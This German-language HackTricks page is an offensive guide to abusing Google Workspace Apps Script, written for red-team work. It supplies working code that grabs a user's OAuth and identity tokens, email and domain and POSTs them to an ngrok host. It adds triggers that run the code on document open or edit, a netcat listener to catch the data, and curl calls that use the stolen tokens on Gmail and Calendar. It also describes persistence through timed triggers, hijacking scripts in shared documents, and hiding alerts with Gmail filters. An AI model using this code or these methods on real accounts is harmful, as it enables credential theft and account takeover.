GWS - App Scripts

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

App Scripts

App Scripts ist Code, der ausgelöst wird, wenn ein Benutzer mit Bearbeitungsberechtigung auf das Dokument zugreift, mit dem das App Script verknüpft ist und nach Akzeptieren der OAuth-Aufforderung. Sie können auch so eingestellt werden, dass sie in bestimmten Abständen vom Eigentümer des App Scripts ausgeführt werden (Persistenz).

App Script erstellen

Es gibt mehrere Möglichkeiten, ein App Script zu erstellen, obwohl die gebräuchlichsten aus einem Google-Dokument (jeder Art) und als eigenständiges Projekt sind:

Erstelle ein containergebundenes Projekt aus Google Docs, Sheets oder Slides
  1. Öffne ein Docs-Dokument, eine Sheets-Tabelle oder eine Slides-Präsentation.

  2. Klicke auf Erweiterungen > Google Apps Script.

  3. Klicke im Skripteditor auf Unbenanntes Projekt.

  4. Gib deinem Projekt einen Namen und klicke auf Umbenennen.

Erstelle ein eigenständiges Projekt

Um ein eigenständiges Projekt aus Apps Script zu erstellen:

  1. Klicke auf Neues Projekt.

  2. Klicke im Skripteditor auf Unbenanntes Projekt.

  3. Gib deinem Projekt einen Namen und klicke auf Umbenennen.

Erstelle ein eigenständiges Projekt aus Google Drive
  1. Öffne Google Drive.

  2. Klicke auf Neu > Mehr > Google Apps Script.

Erstelle ein containergebundenes Projekt aus Google Forms
  1. Öffne ein Formular in Google Forms.

  2. Klicke auf Mehr more_vert > Skripteditor.

  3. Klicke im Skripteditor auf Unbenanntes Projekt.

  4. Gib deinem Projekt einen Namen und klicke auf Umbenennen.

Erstelle ein eigenständiges Projekt mit dem clasp-Befehlszeilenwerkzeug

clasp ist ein Befehlszeilenwerkzeug, mit dem du Apps Script-Projekte aus einem Terminal erstellen, abrufen/pushen und bereitstellen kannst.

Siehe die Anleitung zur Befehlszeilenschnittstelle mit clasp für weitere Details.

App Script-Szenario

Erstelle Google Sheet mit App Script

Beginne mit der Erstellung eines App Scripts, meine Empfehlung für dieses Szenario ist, ein Google Sheet zu erstellen und zu Erweiterungen > App Scripts zu gehen, dies öffnet ein neues App Script, das mit dem Sheet verknüpft ist.

Token leaken

Um Zugriff auf das OAuth-Token zu gewähren, musst du auf Dienste + klicken und Scopes wie hinzufügen:

  • AdminDirectory: Zugriff auf Benutzer und Gruppen des Verzeichnisses (wenn der Benutzer über ausreichende Berechtigungen verfügt)

  • Gmail: Um auf Gmail-Daten zuzugreifen

  • Drive: Um auf Drive-Daten zuzugreifen

  • Google Sheets API: Damit es mit dem Trigger funktioniert

Um die benötigten Scopes selbst zu ändern, kannst du zu den Projekteinstellungen gehen und aktivieren: Zeige "appsscript.json" Manifestdatei im Editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Um die Anfrage zu erfassen, können Sie einfach Folgendes ausführen:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

Da eine externe Anfrage gestellt wird, wird das OAuth-Prompt auch um Erlaubnis bitten, externe Endpunkte zu erreichen.

Trigger erstellen

Sobald die App gelesen wurde, klicken Sie auf ⏰ Trigger, um einen Trigger zu erstellen. Wählen Sie als Funktion getToken, läuft bei Bereitstellung Head, wählen Sie als Ereignisquelle From spreadsheet und als Ereignistyp On open oder On edit (je nach Bedarf) und speichern Sie.

Beachten Sie, dass Sie die Ausführungen der App-Skripte im Tab Ausführungen überprüfen können, wenn Sie etwas debuggen möchten.

Teilen

Um das App-Skript zu triggern, muss das Opfer mit Editorzugriff verbunden sein.

Das Token, das zur Ausführung des App-Skripts verwendet wird, ist das des Erstellers des Triggers, auch wenn die Datei von anderen Benutzern als Editor geöffnet wird.

Missbrauch von "Mit mir geteilt"-Dokumenten

Wenn jemand ein Dokument mit App-Skripten und einem Trigger unter Verwendung des Heads des App-Skripts (nicht einer festen Bereitstellung) mit Ihnen geteilt hat, können Sie den App-Skript-Code ändern (zum Beispiel die Funktionen zum Stehlen des Tokens hinzufügen), darauf zugreifen, und das App-Skript wird mit den Berechtigungen des Benutzers ausgeführt, der das Dokument mit Ihnen geteilt hat! (Beachten Sie, dass das OAuth-Token des Eigentümers als Zugriffsbereiche die hat, die beim Erstellen des Triggers festgelegt wurden).

Eine Benachrichtigung wird an den Ersteller des Skripts gesendet, die anzeigt, dass jemand das Skript geändert hat (Was ist mit der Verwendung von Gmail-Berechtigungen, um einen Filter zu erstellen, um die Warnung zu verhindern?)

Wenn ein Angreifer die Bereiche des App-Skripts ändert, werden die Updates nicht auf das Dokument angewendet, bis ein neuer Trigger mit den Änderungen erstellt wird. Daher kann ein Angreifer das Token des Eigentümers nicht mit mehr Bereichen stehlen, als er im Trigger festgelegt hat, den er erstellt hat.

Kopieren statt Teilen

Wenn Sie einen Link zum Teilen eines Dokuments erstellen, wird ein ähnlicher Link wie dieser erstellt: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Wenn Sie das Ende "/edit" in "/copy" ändern, wird Google Sie fragen, ob Sie eine Kopie des Dokuments erstellen möchten:

Wenn der Benutzer es kopiert und darauf zugreift, werden sowohl die Inhalte des Dokuments als auch die App-Skripte kopiert, jedoch die Trigger nicht, daher wird nichts ausgeführt.

Teilen als Webanwendung

Beachten Sie, dass es auch möglich ist, ein App-Skript als Webanwendung zu teilen (im Editor des App-Skripts, als Webanwendung bereitstellen), aber eine Warnung wie diese wird erscheinen:

Gefolgt von dem typischen OAuth-Prompt, der nach den benötigten Berechtigungen fragt.

Testen

Sie können ein gesammeltes Token testen, um E-Mails aufzulisten mit:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Liste der Kalender des Benutzers:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script als Persistenz

Eine Option für Persistenz wäre es, ein Dokument zu erstellen und einen Trigger für die getToken-Funktion hinzuzufügen und das Dokument mit dem Angreifer zu teilen, sodass jedes Mal, wenn der Angreifer die Datei öffnet, er das Token des Opfers exfiltriert.

Es ist auch möglich, ein App Script zu erstellen und es alle X Zeit (wie jede Minute, Stunde, Tag...) auszulösen. Ein Angreifer, der kompromittierte Anmeldeinformationen oder eine Sitzung eines Opfers hat, könnte einen zeitgesteuerten App Script-Trigger einrichten und jeden Tag ein sehr privilegiertes OAuth-Token leaken:

Erstellen Sie einfach ein App Script, gehen Sie zu Trigger, klicken Sie auf Trigger hinzufügen und wählen Sie als Ereignisquelle Zeitgesteuert und wählen Sie die Optionen, die am besten zu Ihnen passen:

Dies wird eine Sicherheitswarnungs-E-Mail und eine Push-Nachricht an Ihr Mobilgerät senden, die darüber informiert.

Umgehung der unbestätigten Eingabeaufforderung für freigegebene Dokumente

Darüber hinaus, wenn jemand Ihnen ein Dokument mit Bearbeitungszugriff geteilt hat, können Sie App Scripts im Dokument generieren und der EIGENTÜMER (Ersteller) des Dokuments wird der Eigentümer des App Scripts sein.

Das bedeutet, dass der Ersteller des Dokuments als Ersteller jedes App Scripts erscheint, das jemand mit Bearbeitungszugriff darin erstellt.

Das bedeutet auch, dass das App Script vom Workspace-Umfeld des Erstellers des Dokuments vertraut wird.

Das bedeutet auch, dass wenn ein App Script bereits existierte und Personen Zugriff gewährt haben, jeder mit Bearbeiter-Berechtigung auf dem Dokument es ändern und diesen Zugriff missbrauchen kann. Um dies auszunutzen, benötigen Sie auch Personen, die das App Script auslösen. Ein praktischer Trick ist es, das Script als Webanwendung zu veröffentlichen. Wenn die Personen, die bereits Zugriff auf das App Script gewährt haben, die Webseite aufrufen, werden sie das App Script auslösen (das funktioniert auch mit <img>-Tags).

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Last updated